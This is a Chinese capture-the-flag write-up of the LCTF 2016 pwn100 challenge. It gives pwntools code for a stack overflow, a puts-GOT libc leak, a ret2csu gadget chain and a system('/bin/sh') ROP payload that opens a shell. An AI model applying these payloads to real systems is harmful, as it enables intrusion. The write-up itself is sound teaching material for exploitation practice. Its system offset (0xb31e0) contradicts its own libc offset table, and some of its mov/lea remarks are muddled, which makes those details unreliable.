LCTF 2016-pwn100

1.常规checksec,开了NX保护。打开IDA,找漏洞,逐次进入后,sub_40068E()函数中的sub_40063D函数中存在栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#注释头


char v1; // [rsp+0h] [rbp-40h]
---------------------------------------------
sub_40063D((__int64)&v1, 200);
--------------------------------------------------------------------
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= a2 )
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}

这里传的是局部变量v1的地址,所以进入sub_40063D后,修改a1指针对应的内存的值其实就是修改之前局部变量v1的值,就是传指针。这个函数每次读取一个字节,直到读取满200字节,其实就可以直接把它当成read(v1,200)完事。

(题外话:汇编代码中当局部变量传参时,需要用到lea,即:lea rax, [rbp+var_40],就是将栈上的变量var_40的地址给rax,然后传参mov rdi, rax;利用rdi来传函数参数。进入到函数内部后就会有:mov [rbp+var_18], rdi,也就是在该函数栈上创建一个局部变量来保存传入变量的栈上的地址,也就是之前var_40的栈上地址,保存在[rbp+var_18]这个局部变量中。这是这个程序中,不同程序可能不太一样。)

2.所以这个栈溢出的覆盖返回地址应该是sub_40068E函数的返回地址,简单远程调试一下,看看v1所在栈地址和rbp下一地址的距离就是偏移量,为0x48,看汇编计算就可以得到0x40+0x8。

3.现在需要system和binsh,这个程序中这两个都没有带,而只有Libc中才有,但是这个程序并没有泄露Libc的地址。分析程序发现,程序中.plt段中导入了puts函数,IDA中函数名那一块可以看到:所以可以用pwntools中的DynELF,调用该puts函数,从而泄露出libc中puts或者read的地址。由于大多教程选择泄露read,所以这里选择泄露puts函数在Libc中的被加载的地址。这里用read,setbuf,甚至__libc_start_main函数也都可以,因为都导入了plt表和外部引用了。

img

4.开始构造泄露地址的第一段payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#注释头

payload = "A"*72 #padding
payload += p64(pop_rdi)
#由于需要向puts传参,所以用到该地址,可以使用ropgadget
#查询ROPgadget --binary pwn100 | grep "pop rdi ; ret"
#或者在万能gadget中的pop r15,用D命令转换成数据后再C命令转换回代码可以看到
payload += p64(puts_got)
#这是puts在.got表(.got.plt段)中的地址,是传递给Puts函数的参数,当该库函数被加载进入libc中
#时,这样传参进去再打印就可以打印出puts函数在libc中的地址,也就泄露出来了。
payload += p64(puts_addr)
#这是调用puts函数,elf.plt['puts'](.plt段)
payload += p64(start_addr)
#整个程序的起始代码段,用以恢复栈。这个函数中会调用main函数。这里用Mian函数地#址也可以
payload = payload.ljust(200, b"B")
#使用B填充200字节中除去先前payload剩余的空间,填充的原因是因为这个程序需要我们输入满200字节
#才会跳出循环,进而才有覆盖返回地址的可能。或者可以写成:
#(payload += 'a'*(200-0x48-32))

5.之后开始运行payload来实际得到Puts函数被libc加载的实际内存地址:

1
2
3
4
5
6
7
8
9
#注释头

io.send(payload)
io.recvuntil('bye~\n')#跳出循环后才会执行到打印bye的地方
puts_addr = u64(io.recv()[:-1].ljust(8, b'\x00'))
#这里就是接收泄露地址的地方,末尾需要填充上\x00
log.info("puts_addr = %#x", puts_addr)
system_addr = puts_addr - 0xb31e0
log.info("system_addr = %#x", system_addr)

6.现在得到了puts函数被libc加载的实际内存地址,那么puts函数与其它函数的偏移量也就可以通过用IDA打开题目给的libc查出来,从而得到其它我们需要的函数被libc加载的实际内存地址。

1
2
3
4
5
6
#注释头

00000000000456A0 ---system_in_libc
00000000000F8880 ---read_in_libc
0000000000070920 ---puts_in_libc
000000000018AC40 ---binsh_in_libc

得到libc被加载的首地址:puts_addr 减去 puts_in_libc 等于libc_start。于是libc_start加上各自函数对应的in_libc也就可以得到被libc加载的实际内存地址。

7.现在都有了就可以尝试在执行一次栈溢出来开shell,64位程序,有了system函数和binsh地址,那么栈溢出覆盖用pop rdi;ret的方法可以直接getshell。

8.这里假设没有binsh,来使用一下万能gadget:通过我们的输入读到内存中。同样这张图,万能Gadget1为loc_400616,万能Gadget2为loc_400600

img

以下为用来读取binsh字符串的代码,这里需要在程序中找到一段可以写入之后不会被程序自动修改的内存,也就是binsh_addr=0x60107c,这个地址其实是extern的地址,里面原来保存的内容是read函数发生延迟绑定之前的地址。而延迟绑定发生之后,got表中保存的内容已经被改成了被Libc加载的真实地址,这个extern也就没用了,可以随意用。但如果某个函数没有被首次调用,即还没发生延迟绑定,而我们却先一步改掉了extern的内容,那么它就再也没办法被调用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#注释头


binsh_addr = 0x60107c
#bss放了STDIN和STDOUT的FILE结构体,修改会导致程序崩溃

payload = b"A"*72
payload += p64(universal_gadget1) #万能gadget1
payload += p64(0) #rbx = 0
payload += p64(1)
#rbp = 1,过掉后面万能gadget2的call返回后的判断,使它步进行跳转,而是顺序执行到万
#能gadget1,从而return到最开始来再执行栈溢出从而Getshell。
#cmp 算术减法运算结果为零,就把ZF(零标志)置1,cmp a b即进行运算a-b
payload += p64(read_got)
#r12 = got表中read函数项,里面是read函数的真正地址,直接通过call调用
payload += p64(8) #r13 = 8,read函数读取的字节数,万能gadget2赋值给rdx
payload += p64(binsh_addr) #r14 = read函数读取/bin/sh保存的地址,万能gadget2赋值给rsi
payload += p64(0)
#r15 = 0,read函数的参数fd,即STDIN,万能gadget2赋值给edi
payload += p64(universal_gadget2) #万能gadget2
payload += b'\x00'*56
#万能gadget2后接判断语句,过掉之后是万能gadget1,而Loc_400616万能gadget1执行之
#后会使得栈空间减少7*8个字节,所以我们需要提前输入7*8来使得万能gadget1执行之
#后栈的位置不发生变化,从而能正常ret之后接上的start_addr
#用于填充栈,这里用A也是一样
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200, b"B") #padding
#不知道这有什么用,去掉一样可以getshell,因为这边是直接调用read函数,而不是经过
#sub_40068E()非得注满200字节才能跳出循环。

io.send(payload)
io.send(b"/bin/sh\x00")
#上面的一段payload调用了read函数读取"/bin/sh\x00",这里发送字符串
#之后回到程序起始位置start

这里万能Gadget中给r12赋值,传入的一定是该函数的got表,因为这里的call和常规的call有点不太一样。我们在IDA调试时按下D转换成硬编码形式,(这里可以在IDA中选项-常规-反汇编-操作码字节数设置为8)可以看到这个call的硬编码是FF,而常规的call硬编码是E8。(这里call硬编码之后的字节代表的是合并程序段之前的偏移量,具体可以参考静态编译、动态编译、链接方面的知识)在这个指令集下面:

FF的call后面跟的是地址的地址。例如call [func], 跳转的地方就应该是func这个地址里保存的内容,也就是*func。

E8的call后面跟的是地址。例如call func,跳转的地方就是func的开头。

img

img

这里可以不用非得看硬编码,可以直接看汇编也可以显示出来:一个有[],一个没有[]。

img

img

9.所以万能gadget中通过r12,传入跳转函数的地址只能是发生延迟绑定之后的got表地址,而不能是plt表地址或者是没有发生延迟绑定的got表地址,(延迟绑定只能通过plt表来操作,没有发生延迟绑定之前,该got表中的内容是等同于无效的,只是一个extern段的偏移地址,除非该函数func是静态编译进程序里面的,那么got表中的内容就是该函数的真实有效地址,不会发生延迟绑定。)因为plt表中的内容转换成硬编码压根就不是一个有效地址,更别说跳转到该地址保存的内容的地方了。有人说跳转到plt表执行的就是跳转got表,那应该是一样的啊,但FF的call并不是跳转到plt来执行里面的代码,而是取plt表中内容当作一个地址再跳转到该地址来执行代码,所以有时候需要看汇编代码来决定究竟是传入got表还是传入plt表。同样也可以看到plt表中的硬编码是FF,也就是并不是跳转got表,而是取got表中保存的内容当作一个地址再来跳转。

img

▲说了这么多,记住一个就行了,

需要跳转函数时,有[]的-只能传got表,没[]的-传plt表(plt表更安全好使,但后面格式化字符串劫持got表又有点不太一样,情况比较复杂)。

需要打印真实函数地址时,传的一定是got表,这样就一定没错。

当有call eax;这类语句时,eax中保存的一定得是一个有效地址,因为这里的call硬编码也是0FF。(实际情况got和plt来回调着用呗,哪个好使用哪个)

10.那么现在有了system_addr和binsh_addr,而程序又是从最开始运行,所以现在尝试getshell:

1
2
3
4
5
6
7
8
9
#注释头

payload = b"A"*72 #padding
payload += p64(pop_rdi) #给system函数传参
payload += p64(binsh_addr) #rdi = &("/bin/sh\x00")
payload += p64(system_addr) #调用system函数执行system("/bin/sh")
payload = payload.ljust(200, b"B") #padding,跳出循环
io.send(payload)
io.interactive()

11.另外由于在libc中查找也比较繁琐,所以有个libcSearch可以简化使用,具体查资料吧。

1.往puts函数中传入函数在got表中的地址(elf.got)参数可以打印出被加载在Libc中的实际内存地址。

2.用覆盖返回地址ret的形式调用函数需要用函数在plt表中的地址,(elf.plt)这是库函数地址,需要先到plt中,然后再到got表中,这是正常的函数调用。

3.但如果在gadget中,则可以通过给r12赋值来调用elf.got表中的函数,因为这个是call qword ptr[r12+rbx*8],指向的是函数在got表中真实地址,需要的是函数在got表中的地址。如果只是call addr,则应该是call函数在plt表中的地址。

4.万能gadget一般在_libc_csu_init中,或者init或者直接ROPgadget查也可以

▲mov和lea区别:

mov:对于变量,加不加[]都表示取值;对于寄存器而言,无[]表示取值,有[]表示取地址。

lea:对于变量,其后面的有无[]皆可,都表示取变量地址,相当于指针。对于寄存器而言,无[]表示取地址,有[]表示取值。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157